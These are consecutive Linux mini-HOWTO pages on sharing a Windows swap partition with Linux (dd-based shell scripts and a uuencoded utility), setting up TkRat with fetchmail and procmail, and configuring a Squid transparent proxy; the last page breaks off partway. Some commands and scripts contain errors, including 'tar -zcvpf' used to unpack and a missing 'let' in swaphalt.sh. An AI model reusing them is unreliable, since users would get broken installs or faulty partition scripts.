  • The problem is that Linux uses a partition as a swap space and Windows uses a file as a swap space. ( Although it is possible to create a swap file for Linux, it is not recommended. See "Linux Installation and Getting Started" by Matt Welsh). Now if Linux uses the same partition on which Windows stores it's swap file, it will overwrite the boot sector, FAT and other data tables that Windows assumes to exist on every drive. Thus, Windows will not be in a position to find the swap file on startup and will create the win386.swp file in the windows directory. Thus, even if by chance, your Linux crashes, Windows will be in a position to start. In such a case ( with Windows swap file in the Windows directory), just restore the DOS/Windows swap info by restarting Linux and the start Windows. Now Windows will be using the swap file on drive X: so you can safely delete the win386.swp file in the windows directory.

  • The remedy is to store those critical data tables once on the Linux partition in some file. Then every time Linux starts, check whether the swap space was last used by Linux or Windows (using the label you gave to your partition). If it was Linux, just enable swapping else first make a swap partition on the X: drive using "mkswap /dev/winswap" and then enable swapping.

  • When you shut down Linux, it is important to restore the swap partition to the DOS format, so that Windows can start properly. For that purpose we add the

/bin/zcat /etc/winswap.gz > /dev/winswap

    command to the halt file.


Linux Swap Space Mini-HOWTO: The swapinit.sh script

 Next Previous Contents

9. The swapinit.sh script

This shell script initializes the swap space on the partition. The code for signature detection has been repeated 6 times because many a times the signature is properly detected only on the second or the third try.

(Adapted from the original Swap-Space-HOWTO by H. Peter Anvin)

#!/bin/sh
#
# swapinit.sh - activate the swap partition
#
# written by Rahul U. Joshi
# Verify and initialize swap space
#

echo -n 'Verifying swap space... '

loopcount=0

# flag to indicate whether the partition has been activated or not
activated=0

# check for signatures 6 times before giving up
while [ $loopcount -lt 6 ]
  do

  if [ "`/bin/dd 2>/dev/null if=/dev/winswap bs=1 count=10  skip=4086`" = 'SWAP-SPACE' ]; then
    echo "Linux signature found, iteration $loopcount"
    echo "Activating swap partitions"
    swapon /dev/winswap
    activated=1
    break

  elif [ "`/bin/dd 2>/dev/null if=/dev/winswap bs=1 count=11 skip=43`" = 'SWAP SPACE ' ]; then
    echo "DOS signature found, iteration $loopcount"
    echo "Making swap partition"
    mkswap /dev/winswap YYYYY
    echo "Activating swap partitions"
    swapon /dev/winswap
    activated=1
    break

  else
   let loopcount=loopcount+1
  fi

  done

if [ $activated -ne 1 ] ; then
  echo "Swap signature not found after $loopcount tries"
  echo "No swapping partitions activated"
  exit 1
fi


Linux Swap Space Mini-HOWTO: The swaphalt.sh script

 Next Previous Contents

10. The swaphalt.sh script

This script first checks the Linux swap signature and then restores the Windows file system on it.

(Adapted from the original Swap-Space-HOWTO by H. Peter Anvin)

#!/bin/sh
#
# swaphalt.sh   This file is executed through the /etc/rc.d/init.d/halt
#               script after swapping and accounting has been turned off.
#
# Author:       Rahul U. Joshi
#

# check swap partition signature and restore Windows swap info

loopcount=0

# flag to indicate whether the swap info has been restored or not
restored=0

# check for swap signature 3 times before giving up
while [ $loopcount -lt 3 ]
  do

  if [ "`/bin/dd 2>/dev/null if=/dev/winswap bs=1 count=10 skip=4086`" = 'SWAP-SPACE' ]; then
    echo "Restoring DOS/Windows swap info , iteration $loopcount"
    /bin/zcat /etc/winswap.gz  >  /dev/winswap
    restored=1
    break
  else
    loopcount=loopcount+1
  fi

  done

if [ $restored -ne 1 ] ; then
   echo "Swap signature not found after $loopcount tries"
   echo "Skipping restoring"
fi


Linux Swap Space Mini-HOWTO: The msinfo.sh script

 Next Previous Contents

11. The msinfo.sh script

This shell script analyses the boot sector of the given partition and displays some information along with the "Total Special Sectors" in a message box. It assumes that the filesystem on the given partition is a FAT16. If not, it will print an error message and exit. Invoke it as

# msinfo <partition name>

To run this script, you will need the "dialog" program that displays dialog boxes. You can get it from here.

#!/bin/sh
#
# msinfo.sh           This shell script displays the boot sector of the
#                     given partition.
#
# Author:             Rahul U. Joshi
#
# Modifications       Removed the use of expr and replaced it by the let
#                     command.
#
# ------------------------------------------------------------------------
# This program is a free software, you can redistribute it and/or modify
# it under the eterms of the GNU General Public Liscence as published by
# the Free Software Foundation; either version 2 or (at your option) any
# later version.
#
# This program is being distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY without even the implied warranty of
# MERCHANTIBILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public Liscence for more details.
# -------------------------------------------------------------------------

# check for command line arguments
if [ $# -ne 1 ]; then
   echo "Usage: msinfo <partition name>"
   exit 1
fi

# check whether the input name is a block device
if [ ! -b $1 ]; then
   echo "msinfo: $1 is not a block device"
   exit 1
fi

# create two temporary files for use
TMPFILE=`mktemp -q /tmp/$0.XXXXXX`
if [ $? -ne 0 ]; then
    echo "msinfo: Can't create temp file, exiting..."
    exit 1
fi

TXTFILE=`mktemp -q /tmp/$0.XXXXXX`
if [ $? -ne 0 ]; then
   echo "msinfo: Can't create temp file, exiting..."
   rm -f $TMPFILE
   exit 1
fi

backtitle="`printf "%78s" "msinfo, Information about FAT16 filesystem -- Rahul Joshi"`"

dialog --title "Boot sector of $1" --backtitle "$back_title" \
       --infobox "\nAnalysing boot sector for $1\nPlease wait..."  14 60

# truncate TXTFILE to zero length
echo > $TXTFILE

# get Formatting DOS version
dd 2>/dev/null if=$1  bs=1 count=8 skip=3 | dd 2>/dev/null of=$TMPFILE
printf >>$TXTFILE "%30s : %s\n" "Formatting DOS version" "`cat $TMPFILE`"

# get file system
dd 2>/dev/null if=$1  bs=1 count=8 skip=54 | dd 2>/dev/null of=$TMPFILE
printf >>$TXTFILE "%30s : %s\n" "Filesystem" "`cat $TMPFILE`"

# check if filesystem in a FAT16
if [ "`cat $TMPFILE`" != "FAT16   " ]; then
  dialog --title "Boot sector of $1" --backtitle "$back_title" \
         --infobox  "\nCan't find a FAT16 filesystem on $1"  14 60
  exit 2
fi

# get volume label in boot sector
dd 2>/dev/null if=$1  bs=1 count=11 skip=43 | dd 2>/dev/null of=$TMPFILE
printf >>$TXTFILE "%30s : %s\n" "Volume label in boot sector" "`cat $TMPFILE`"

# get Sector size
dd 2>/dev/null if=$1  bs=1 count=2 skip=11| od -An -tdS | dd 2>/dev/null of=$TMPFILE
printf >>$TXTFILE "%30s : %d\n" "Sector size" `cat $TMPFILE`
sector_size=`cat $TMPFILE`

# get Reserved sectors
dd 2>/dev/null if=$1  bs=1 count=2 skip=14| od -An -tdS | dd 2>/dev/null of=$TMPFILE
printf >>$TXTFILE "%30s : %d\n" " Reserved sectors" `cat $TMPFILE`
reserved_sectors=`cat $TMPFILE`

# get FAT sectors
dd 2>/dev/null if=$1  bs=1 count=1 skip=16| od -An -tdS | dd 2>/dev/null of=$TMPFILE
fat_count=`cat $TMPFILE`

dd 2>/dev/null if=$1  bs=1 count=2 skip=22| od -An -tdS | dd 2>/dev/null of=$TMPFILE
sectors_per_fat=`cat $TMPFILE`

# calculate the no of sectors allocated for FAT's
let fat_sectors=fat_count*sectors_per_fat

printf >>$TXTFILE "%30s : %u (%u x %u) \n" "FAT sectors" "$fat_sectors" \
        "$fat_count" "$sectors_per_fat"

# get root directory sectors
dd 2>/dev/null if=$1  bs=1 count=2 skip=17| od -An -tdS | dd 2>/dev/null of=$TMPFILE
root_sectors=`cat $TMPFILE`

# calculate the no of sectors allocated for root directory
let root_sectors=root_sectors*32/sector_size

printf >>$TXTFILE "%30s : %u\n" "Root directory sectors" "$root_sectors"

# get Total special sectors
let total=reserved_sectors+fat_sectors+root_sectors
printf >>$TXTFILE "%30s : %u\n" "Total special sectors" "$total"

# display the information
dialog --title "Boot sector of $1"  --backtitle "$back_title"  --msgbox "`cat $TXTFILE`" 14 60

# delete temporary files
rm -f $TMPFILE
rm -f $TXTFILE

# end of msinfo.sh


Linux Swap Space Mini-HOWTO: The original msinfo file

 Next Previous Contents

12. The original msinfo file

Here is the msinfo file required to find the "Total Special Sectors". It was included by the original author of this HOWTO in an encoded form. First copy the text from the line "begin 755 msinfo.gz" to the line "end" into a temporary file say temp.uu. Then uudecode this file, and finally gunzip to get msinfo file.

# uudecode temp.uu
# gunzip  msinfo.gz

Now run the program using the command

# ./msinfo /dev/winswap
The program displays the boot sector information for given partition as well as the "Total Special Sectors" for the drive.

begin 755 msinfo.gz
M'XL(`$$YNRT"`Y557TQ;51@_MW]HZ0AM'"$U-.28W([..>84%1%D2QH>',9*
M2S&VC);V=FV]T*;WWBD+1I)K'YH;DOJF#YH80GPR^J""D"R8-K('MS2;#Q*S
M%Y,E-P&592A$V:[?.;?M"FP/?DG/G^_[?7_Z_3G7PL313TT(?8P0<J"CI':8
M$5H^#:=5<KT^MQ`^UAQ1O*QUH0<.]B7S/FC[U!98Y;))]<*N^AG"^LB((J%E
MAFIM[A9U0O`;%:*7N#[L%G!_-IH34V(J,WUZ.CK%O6I#N4DTE,E-144Q-7T)
M>]_PX\M<3@!`'ZZ26[`-I7A.F!%$;JK.;21`!#.\-,5A/CK)\=B3FL:3F8PH
M<#$QDSO91Q%^>L%"Z@KW*"-NR3;""5SN,A?'NI[0=P0Q=#[P&&$5@3UNZ3VW
M=-(V`NYQ/)6CX)DC2F`KD!&C/!:R7"Q%]L-6`8'D+=]8T*^$V8@RR\;5\P9(
M^;\&T:F]E`Q`EI,_6YHCZBT#BJ09M0VV9!:XVKLF]0NX%'Z4R];\W](3A-%J
MI:`_&12!>@33QC0S'V8]?O5+0`;3UC23K)!"?@97N8R#:29MF/>R)PI>UJF)
MK%/-4QR39OSJE8,8MHZ)UC#`?1ZX'N!ZU`L'X;@.?X["C<1DUT%,9QW32C''
M"<98PQR#8#=(L'>96NQWR/4W1@>H3\'!OC3,MMN_"[,=A1OVK^XEH($[$S^H
MY@28=MB78-$/`=8)(L=\P*$5*I_LS@)_G7!=\Z9V@F"``Y$XQM[T!T>(WHNU
M/T9CH)YIZI("&9ZK32AR=DTN/QNZ."&7?27H_<(=_^=Q"U1N3Y.>!-E`$BY(
M;(4ZG)/[\_0F_54HY7\5[<!33)\2M%:Y(.THX_N%K?%2L9&(O=4>8F^@IV9(
M,<HEDU:17T'23M)GA#ANW-<F'J5-]>6!G2;BU+YN)@<RL.JBIFD4[:<###UG
MO3Z77WO?L?O+@@G\+(-<"X&QT"&#_N7@_\2;JGAEF&U1`JR#ZCD/Z]7HJ'ZH
M09_JNAZGJ^N?X5.39_AXMY!!?3@6G>X2,9^)QG%\!IZ@5`SSJ>EWN!SN>HCK
MLJ%F08R*J5B4YV=T0-R&J#UYJW>4#"7/#D,0/GG`0ZI@__`;6->]K!>C[<GD
M31/IQP>:!B]D?DT,*<;Y6=9Y]3:P][^W`?+>8F(1!*ZY7B1:BN=@D_XY9?0I
M'?ZT0=V@BBWIIV$47#Y@7-,9Q>0<*=7;NMW-NS2>9#_X3V)8()?A$;!`ALRW
M#&\%RO_^@9F6TP<]'M8J@'AFA"[JM]0(WCQ!`[.826!F&A@HG4JWU5R_KKL&
M9GNQF$;J[?NZ\YUZ?B].C,OEWI*\94J`:6LB?U,RK^2.([0QRQK(W!D2[K5M
M,G>&0B7A'K03F"'17*&L#9XU@+U2L9K4-GCIG(K(NE:SM,>SM,?;X,T:&U6,
MT./E%NAUTNE_$,^E(A0M!B7K[D'>X6'\FC25Q3W=+V3YLR^CXJW.S0>#54*#
M#ZE^AI+N-35^_>![U4!?@VQ%ET<L!BC>MC5"\GH->"T6'4/2NS>((N0,DT>_
9K6^!S%65KRS`,`,UVB43\!]-BKG]B`<``#5"
`
end


Linux Swap Space Mini-HOWTO: Acknowledgements, feedback and dedication

 Next Previous Contents

13. Acknowledgements, feedback and dedication

This Mini-HOWTO has been largely derived from the Swap-Space Mini HOWTO by H. Peter Anvin. I have added the Windows 95/98 specific details as well as a few Red Hat Linux specific details. The msinfo program given in the original HOWTO didn't work on my Red Hat Linux 6 system, so I created a similar program. However, I have also included the original msinfo program. Thanks to all those great people involved with the development of Linux,to the people at Red Hat for giving a great Linux distribution and to Sanjiv Guha, one of the co-authors of "Red Hat Linux 6 Unleashed" from Techmedia for guidance about shell programming. Thanks also to Matt Welsh, Greg Hankins and Eric S. Raymond, the authors of SGML-Tool's Users Guide, which helped me in converting the document in SGML format. Thanks are also to Peter Norton and John Goodman for there venerable "Peter Norton's Inside the PC", which helped me about DOS file system structure. Finally, thanks to PC Quest Linux Project for bringing out Linux CDROMS frequently.

I rely on you, the readers, to make this HOWTO useful. If you have any suggestions, comments, corrections, requests, flames, etc., feel free to contact me. Right now, I have no internet access, but still you contact me in case of questions at my Hotmail account (Hey! Don't blame me for using a Microsoft service. Hotmail was created by our Indian guy Sabeer Bhatia). May be someone from you local place may also come to your rescue.If you find my account unoperational and your problem is indeed important, you may mail me at amitanatu@sprynet.com.

Finally, I would like to dedicate this work to Robert Lafore, the author of excellent books "C programming using Turbo C++" and "Object Oriented Programming using Turbo C++".

Enjoy Linux,

Rahul :-)


TkRat mini-HOWTO

Dave Whitinger, dave@linuxtoday.com

v1.2, 15 September 1999

This is the TkRat mini-HOWTO. This document is geared toward anyone interested in using their Linux computer to send and receive Internet E-Mail.

1. Introduction

2. Installing TkRat

3. Downloading your E-Mail

4. Configuring TkRat

5. Using TkRat

6. Automatically sorting mail into folders

7. Copyright

8. Acknowledgements


TkRat mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document is maintained by Dave Whitinger ( dave@linuxtoday.com). Please mail me with any questions or ideas you have regarding this HOWTO.

This document will attempt to describe the following four things:

  1. Installing the TkRat E-Mail program.
  2. Downloading mail from an Internet Service Provider.
  3. Reading, storing, and sending mail
  4. Sorting the mail into folders

The document assumes that you are running Linux with the X Window System, have already established a connection to an Internet Service Provider, and have a POP account with that provider.

Disclaimer: All usual disclaimers apply. The author cannot be held responsible for any (mis)use of the information given here. This document does not attempt to be authoritative in any way. The author voluntarily creates this document seperately from any entity with which he may be involved with. By reading this document, you agree to cause the author no grief or trouble. :)


TkRat mini-HOWTO: Installing TkRat

 Next Previous Contents

2. Installing TkRat

I would like to stress that there are many excellent E-Mail programs available for Linux. It is always a matter of personal preference when selecting which one you will use. That said, I will tell you that I have been using a program called "TkRat" for over 2 years now - and I love it. It's a graphical program that has all the features you would expect from a quality mail program, it's easy to learn how to use, it's powerful, and it's free. For these reasons, I'll only be covering TkRat in this HOWTO.

The first thing you need to do is download TkRat. You can either obtain the sources and compile them, or you can get the binaries.

Here are some URLs for the software:

  • ftp://ftp.md.chalmers.se/pub/tkrat/tkrat-2.0b3.tar.gz (Download via ftp)
  • http://www.dtek.chalmers.se/~maf/ratatosk/tkrat-2.0b3.tar.gz (Download via http)
  • http://www.dtek.chalmers.se/~maf/ratatosk/download.html (Download page - check for the latest version!)

When you have downloaded the tarfile, you are ready to install it on your system.

To install the tar.gz source, use the commands:

tar -zcvpf tkrat-2.0b3.tar.gz
cd tkrat-2.0b3
./configure
make
make install
If anything fails, consult the INSTALL and README files located in the tkrat-2.0b3 directory. Note that you will need a version of tcl that is greater than 8.1 for this to compile. You can obtain the latest tcl from scriptics.com.

Congratulations - TkRat should now be installed on your system.


TkRat mini-HOWTO: Downloading your E-Mail

 Next Previous Contents

3. Downloading your E-Mail

In order to read E-Mail, it is usually best to download it using a program called "fetchmail". The following instructions are known to work perfectly for version 2.2 of fetchmail - although they should be applicable to any version.

(Note: Fetchmail is almost certainly already installed on your system, as it is included in all Linux distributions that I know of - if anyone knows this to be untrue, please let me know!).

Perform the following steps:

echo "server pop.com protocol pop3 username dave password foo" > ~/.fetchmailrc

(Make sure to replace "pop.com" with the hostname to your ISP's pop server.  Replace
"dave" with your username, and replace "foo" with your username's password.)

Now, whenever you want to check your E-Mail, just type "fetchmail" at the prompt. Fetchmail will go off and download all your mail and store it in your local mail folder.


TkRat mini-HOWTO: Configuring TkRat

 Next Previous Contents

4. Configuring TkRat

>From the prompt, type "tkrat" and press enter. Click on "Create". Read the message it gives you, then click on "Continue". At this point, you are brought to the main TkRat program. The first thing you should do is customize it to your local system.

  1. Go the Admin menu, and select Preferences.
  2. Click on "Sending"
  3. Enter in your E-Mail address in the "Default Reply-To" field.
  4. Enter in your E-Mail address, followed by paranthesis in the "Use from address" field. e.g. dave@linuxtoday.com (Dave Whitinger)
  5. Enter your domain name in the "Domain" field. If your E-Mail address is "user@xyz.com" you'll enter "xyz.com".
  6. Click on "Apply".
  7. Click on "Method".
  8. For "Send Via" select "SMPT".
  9. In the SMTP host: field, enter the SMPT server address of your ISP (they should be able to provide you with this information).
  10. Click "Apply", then "Dismiss".


TkRat mini-HOWTO: Using TkRat

 Next Previous Contents

5. Using TkRat

Upon starting TkRat, You'll notice that you are in a folder called "INBOX". Use fetchmail to download any new mail. If you have any, it will appear in this INBOX folder.

TkRat has an intuitive interface. The top half of the screen is the list of messages you have (Each line is a seperate E-Mail). The bottom half of the screen will be the actual content of the E-Mail.

You can read E-Mails by simply clicking on any message in the list.

When you are finished reading a message, you can move on the next message, reply to that message, compose a new message, or move the message to a different "Folder".

Folders are a way of storing E-Mails into seperate "Folders". This way, you can keep several folders for different topics you may receive E-Mail about.

Perform the following steps to create folders:

  1. Click on Admin, then New/Edit Folders
  2. You will see a box with a "INBOX" folder. Left-Click in that box.
  3. You are then presented with a menu, so select "New File Folder".
  4. You'll be given a dialogue box asking for information.
  5. In the first textbox - enter a name for the folder.
  6. In the second textbox - enter the filename you will use to store the messages in (Hint: Use something like /home/username/mail/name_of_folder. So, if the first field says "Personal", the second field would say something like "/home/dave/mail/personal" (assuming your username is dave).
  7. Click OK. You'll notice your new folder is now in the list of folders. So, go to "Window" and then "Close".

You can now Move messages to the new folder - and switch to that folder by selecting the folder's name under the "Folders" menu.

Sending mail is also easy. Click "Compose", type in the recipient's E-Mail address, type in a subject, and then write the message in the body.

When you are finished, click on Send.


TkRat mini-HOWTO: Automatically sorting mail into folders

 Next Previous Contents

6. Automatically sorting mail into folders

If you're like me, you get about 3,500 messages a day. Each time you fetch your mail, you have to wade through all the messages looking for particular ones that interest you.

This is not a problem anymore, thanks to Procmail.

Procmail works like this: Procmail examines each message as it is downloaded, and will perform a series of tasks based upon certain rules that you've specified.

Let's say, for example, that I get about 200 messages every day from a certain mailing list (in this example, I'm using the linux-foo list). Rather than have all those messages go directly into my main inbox, I would rather that they were automatically filtered into a box called "foo-list".

The first step is to take an example mail message that came from that mailing list and examine the mail headers.

I begin to notice a pattern. Every message that comes from that mailing list has a line that says:

Sender: owner-linux-foo@bar.foogers.com

I can now tell procmail to place every message that contains this line into a certain folder.

The way I tell this to procmail is by way of a ".procmailrc" file.

I will use my favorite text editor to create a text file in my home directory called ".procmailrc".

The file will look something like this:

LOGFILE=$HOME/.pmlog
MAILDIR=$HOME/mail
VERBOSE

# linux-foo list
:0 Hw
* ^.*[Ss]ender: owner-linux-foo@bar.foogers.edu
foo-list

# if it got to this point, put it in my new mail folder
:0 Hw
newmail

Examine the "[Ss]ender" line. You'll notice that that line is the one thing that all messages from that mailing list have in common.

That section is telling procmail that when it sees a message come through with a header that looks like the above, to put it into the "foo-list" folder.

The next section is saying that if the message matched nothing above, to just place it into newmail.

Now, let's say that anytime I get a message from my good friend, EJ, I want it to go into a folder called "EJ".

I'll just create a new section of my procmailrc file. See below:

LOGFILE=$HOME/.pmlog
MAILDIR=$HOME/mail
VERBOSE

# linux-foo list
:0 Hw
* ^.*[Ss]ender: owner-linux-foo@bar.foogers.edu
foo-list

# Message from E.J.!
:0 Hw
* ^.*[Ff]rom: ej@mypal.com
ej

# if it got to this point, put it in my new mail folder
:0 Hw
newmail

Notice the new section for EJ. When a message comes in with his E-Mail address in the "From" field, it will automatically place it into my "ej" folder.

Now, let's say that there's some lamer out there who keeps on E-Mailing me. I don't want to hear from him, but he's persistent. Once again - procmail to the rescue.

So, let's say I don't ever want to see any mail from Bill Gates. I can setup a recipe to delete any mail that comes from him. Look at my new procmailrc:

LOGFILE=$HOME/.pmlog
MAILDIR=$HOME/mail
VERBOSE

# Is it coming from Bill Gates?  If yes, DELETE IT!!!
:0 Hw
* ^.*[Ff]rom: bgates@microsoft.com
/dev/null

# linux-foo list
:0 Hw
* ^.*[Ss]ender: owner-linux-foo@bar.foogers.edu
foo-list

# Message from EJ!
:0 Hw
* ^.*[Ff]rom: ej@mypal.com
ej

# if it got to this point, put it in my new mail folder
:0 Hw
newmail

Now I have a rather nice procmailrc file. Let's examine what procmail will do to each message as it comes in.

At first, it checks the message to see if it is from "bgates@microsoft.com". If it is, delete it, and it's done.

If the message made it through the first check, it will see if it has the "owner-linux-foo@bar.foogers.edu" in the headers. If it does, it will put it into the "foo-list" folder, and it's done.

If the message still makes it past that, then it checks to see if it's from EJ. If it is, it places it into the "ej" folder.

Now, if the message passes all those tests, then it should just place it into my newmail folder.

Once you have these folders in place and procmail is properly filtering the mail, you can just go into TkRat, "Admin - New/Edit Folder" and create the folders for each filename. They will be located under /home/username/mail/foldername.


TkRat mini-HOWTO: Copyright

 Next Previous Contents

7. Copyright

This HOWTO is copyright 1998, 1999 by Dave Whitinger, and is a free document. You can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or any later version.


TkRat mini-HOWTO: Acknowledgements

 Next Previous Contents

8. Acknowledgements

Very special thanks go out to Martin Forsse'n (maf@dtek.chalmers.se) for authoring the TkRat mail user agent.

Greetings go out to the North Texas Linux User's Group in Dallas, TX, for whom I originally wrote this document back in early 1998. Today no greetings go out to any user groups, as I live in the moutains of East Tennessee, where I believe I am the only Linux user (or computer user, for that matter) within 50 miles.

Also of note: Nic Bernstein has forked the TkRat code to create a mailer called Postilion. It looks like a great mailer with a lot of new features that aren't in TkRat, but, nevertheless, I continue to use TkRat.


Transparent Proxy with Linux and Squid mini-HOWTO

Daniel Kiracofe

v1.13, January 2002

This document provides information on how to setup a transparent caching HTTP proxy server using only Linux and squid.

1. Introduction

  • 1.1 Comments
  • 1.2 Copyrights and Trademarks
  • 1.3 #include <disclaimer.h>

2. Overview of Transparent Proxying

  • 2.1 Motivation
  • 2.2 Scope of this document

3. Configuring the Kernel

4. Setting up squid

5. Setting up iptables (Netfilter)

6. Transparent Proxy to a Remote Box

  • 6.1 What if iptables-box is on a dynamic IP?

7. Transparent Proxy With Bridging

8. Put it all together

9. Troubleshooting

10. Further Resources


Transparent Proxy with Linux and Squid mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Comments

Comments and general feedback on this mini HOWTO are welcome and can be directed to its author, Daniel Kiracofe, at drk@unxsoft.com.

1.2 Copyrights and Trademarks

Copyright 2000-2001 by UnxSoft Ltd (www.unxsoft.com)

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies
  • Translation to another language is permitted, provided that the author is notified prior to the translation.
  • Any derived work must be approved by the author in writing before distribution.
  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.
  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given.

Exceptions to these rules may be granted for academic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators. Any source code (aside from the SGML this document was written in) in this document is placed under the GNU General Public License, available via anonymous FTP from the GNU archive.

1.3 #include <disclaimer.h>

No warranty, expressed or implied, etc, etc, etc...


Transparent Proxy with Linux and Squid mini-HOWTO: Overview of Transparent Proxying

 Next Previous Contents

2. Overview of Transparent Proxying

2.1 Motivation

In ``ordinary'' proxying, the client specifies the hostname and port number of a proxy in his web browsing software. The browser then makes requests to the proxy, and the proxy forwards them to the origin servers. This is all fine and good, but sometimes one of several situations arise. Either

  • You want to force clients on your network to use the proxy, whether they want to or not.
  • You want clients to use a proxy, but don't want them to know they're being proxied.
  • You want clients to be proxied, but don't want to go to all the work of updating the settings in hundreds or thousands of web browsers.

This is where transparent proxying comes in. A web request can be intercepted by the proxy, transparently. That is, as far as the client software knows, it is talking to the origin server itself, when it is really talking to the proxy server. (Note that the transparency only applies to the client; the server knows that a proxy is involved, and will see the IP address of the proxy, not the IP address of the user. Although, squid may pass an X-Forwarded-For header, so that the server can determine the original user's IP address if it groks that header).

Cisco routers support transparent proxying. So do many switches. But, (surprisingly enough) Linux can act as a router, and can perform transparent proxying by redirecting TCP connections to local ports. However, we also need to make our web proxy aware of the affect of the redirection, so that it can make connections to the proper origin servers. There are two general ways this works:

The first is when your web proxy is not transparent proxy aware. You can use a nifty little daemon called transproxy that sits in front of your web proxy and takes care of all the messy details for you. transproxy was written by John Saunders, and is available from

ftp://ftp.nlc.net.au/pub/linux/www/ or your local metalab mirror. transproxy will not be discussed further in this document.

A cleaner solution is to get a web proxy that is aware of transparent proxying itself. The one we are going to focus on here is squid. Squid is an Open Source caching proxy server for Unix systems. It is available from www.squid-cache.org

Alternatively, instead of redirecting the connections to local ports, we could redirect the connections to remote ports. This is discussed in the Transparent Proxy to a Remote Box section. Readers interested in this approach should skip down to that section. Readers interested on doing everything on one box can safely ignore that section.

2.2 Scope of this document

This document will focus on squid version 2.4 and Linux kernel version 2.4, the most current stable releases as of this writing (December 2001). It should also work with most of the later 2.3 kernels. If you need information about earlier releases of squid or Linux, you can find some earlier documents at www.unxsoft.com/transproxy.html.

If you are using a development kernel or a development version of squid, you are on your own. This document may help you, but YMMV.

Note that this document focuses only on HTTP proxing. I get many emails asking about transparent FTP proxying. Squid can't do it. Now, allegedly a program called Frox can. I have not tried this myself, so I cannot say how well it works. You can find it at http://www.hollo32.fsnet.co.uk/frox/.

I only focus on squid here, but Apache can also function as a caching proxy server. (If you are not sure which to use, I recommend squid, since it was built from the ground up to be a caching proxy server, Apache's caching proxy features are more of afterthought additions to an already existing system.) If you want use Apache instead of squid: follow all the instructions in this document that pertain to the kernel and iptables rules. Ignore the squid specific sections, and instead look at http://lupo.campus.uniroma2.it/progetti/mod_tproxy/ for source code and instructions for a transparent proxy module for Apache (thanks to Cristiano Paris (c.paris@libero.it) for contributing this).

Finally, as far as transparently proxing HTTPS (e.g. secure web pages using SSL, etc.), you can't do it. Don't even ask. For the explanation, do a search for 'man-in-the-middle attack'. Note that you probably don't really need to transparently proxy HTTPS anyway, since squid does not cache secure pages.


Transparent Proxy with Linux and Squid mini-HOWTO: Configuring the Kernel

 Next Previous Contents

3. Configuring the Kernel

First, we need to make sure all the proper options are set in your kernel. If you are using a stock kernel from your distribution, transparent proxying may or may not be enabled. If you are unsure, the best way to tell is to simply skip this section, and if the commands in the next section give you weird errors, it's probably because the kernel wasn't configured properly.

If your kernel is not configured for transparent proxying, you will need to recompile. Recompiling a kernel is a complex process (at least at first), and it is beyond the scope of this document. If you need help compiling a kernel, please see The Kernel HOWTO

The options you need to set in your configuration are as follows (Note: none of these can be built as modules)

  • Under General Setup
    • Networking support
    • Sysctl support
  • Under Networking Options
    • Network packet filtering
    • TCP/IP networking
  • Under Networking Options -> IP: Netfilter Configuration
    • Connection tracking
    • IP tables support
    • Full NAT
    • REDIRECT target support
  • Under File Systems
    • /proc filesystem support
You must say NO to ``Fast switching'' under Networking Options.

Once you have your new kernel up and running, you may need to enable IP forwarding. IP forwarding allows your computer to act as a router. Since this is not what the average user wants to do, it is off by default and must be explicitly enabled at run-time. However, your distribution might do this for you already. To check, do ``cat /proc/sys/net/ipv4/ip_forward''. If you see ``1'' you're good. Otherwise, do ``echo '1' > /proc/sys/net/ipv4/ip_forward''. You will then want to add that command to your appropriate bootup scripts (depending on your distribution, these may live in /etc/rc.d, /etc/init.d, or maybe somewhere else entirely).


Transparent Proxy with Linux and Squid mini-HOWTO: Setting up squid

 Next Previous Contents

4. Setting up squid

Now, we need to get squid up and running. Download the latest source tarball from www.squid-cache.org. Make sure you get a STABLE version, not a DEVEL version. The latest as of this writing was squid-2.4.STABLE3.tar.gz. Note that AFAIK, you must have squid-2.4 for linux kernel 2.4. The reason is that the mechanism by which the process determines the original destination address has changed from linux 2.2, and only squid-2.4 has this new code in it. (For those of you who are interested, previously the getsockname() call was hacked to provide the original destination address, but now the call is getsockopt() with a level of SOL_IP and an option of SO_ORIGINAL_DST).

Now, untar and gunzip the archive (use ``tar -xzf <filename>''). Run the autoconfiguration script and tell it to include netfilter code (``./configure --enable-linux-netfilter''), compile (``make'') and then install (``make install'').

Now, we need to edit the default squid.conf file (installed to /usr/local/squid/etc/squid.conf, unless you changed the defaults). The squid.conf file is heavily commented. In fact, some of the best documentation available for squid is in the squid.conf file. After you get it all up and running, you should go back and reread the whole thing. But for now, let's just get the minimum required. Find the following directives, uncomment them, and change them to the appropriate values:

  • httpd_accel_host virtual
  • httpd_accel_port 80
  • httpd_accel_with_proxy on
  • httpd_accel_uses_host_header on

Next, look at the cache_effective_user and cache_effective_group directives. Unless the default nobody/nogroup has been created on your system (AFAIK, it is not created out of the box on many popular distributions, including RH7.1), you'll either need to create those, or create another username/group for squid to run under. I strongly recommend that you create a username/group of squid/squid and run under that, but you could use any existing user/group if you want.

Finally, look at the http_access directive. The default is usually ``http_access deny all''. This will prevent anyone from accessing squid. For now, you can change this to ``http_access allow all'', but once it is working, you will probably want to read the directions on ACLs (Access Control Lists), and setup the cache such that only people on your local network (or whatever) can access the cache. This may seem silly, but you should put some kind of restrictions on access to your cache. People behind filtering firewalls (such as porn filters, or filters in nations where speech is not very free) often ``hijack'' onto wide open proxies and eat up your bandwidth.

Initialize the cache directories with ``squid -z'' (if this is a not a new installation of squid, you should skip this step).

Now, run squid using the RunCache script in the /usr/local/squid/bin/ directory. If it works, you should be able to set your web browser's proxy settings to the IP of the box and port 3128 (unless you changed the default port number) and access squid as a normal proxy.

For additional help configuring squid, see the squid FAQ at www.squid-cache.org


Transparent Proxy with Linux and Squid mini-HOWTO: Setting up iptables (Netfilter)

 Next Previous Contents

5. Setting up iptables (Netfilter)

iptables is a new thing for Linux kernel 2.4 that replaces ipchains. If your distribution came with a 2.4 kernel, it probably has iptables already installed. If not, you'll have to download it (and possibly compile it). The homepage is netfilter.samba.org. You make be able to find binary RPMs elsewhere, I haven't looked. For the curious, there is plenty of documentation on the netfilter site.

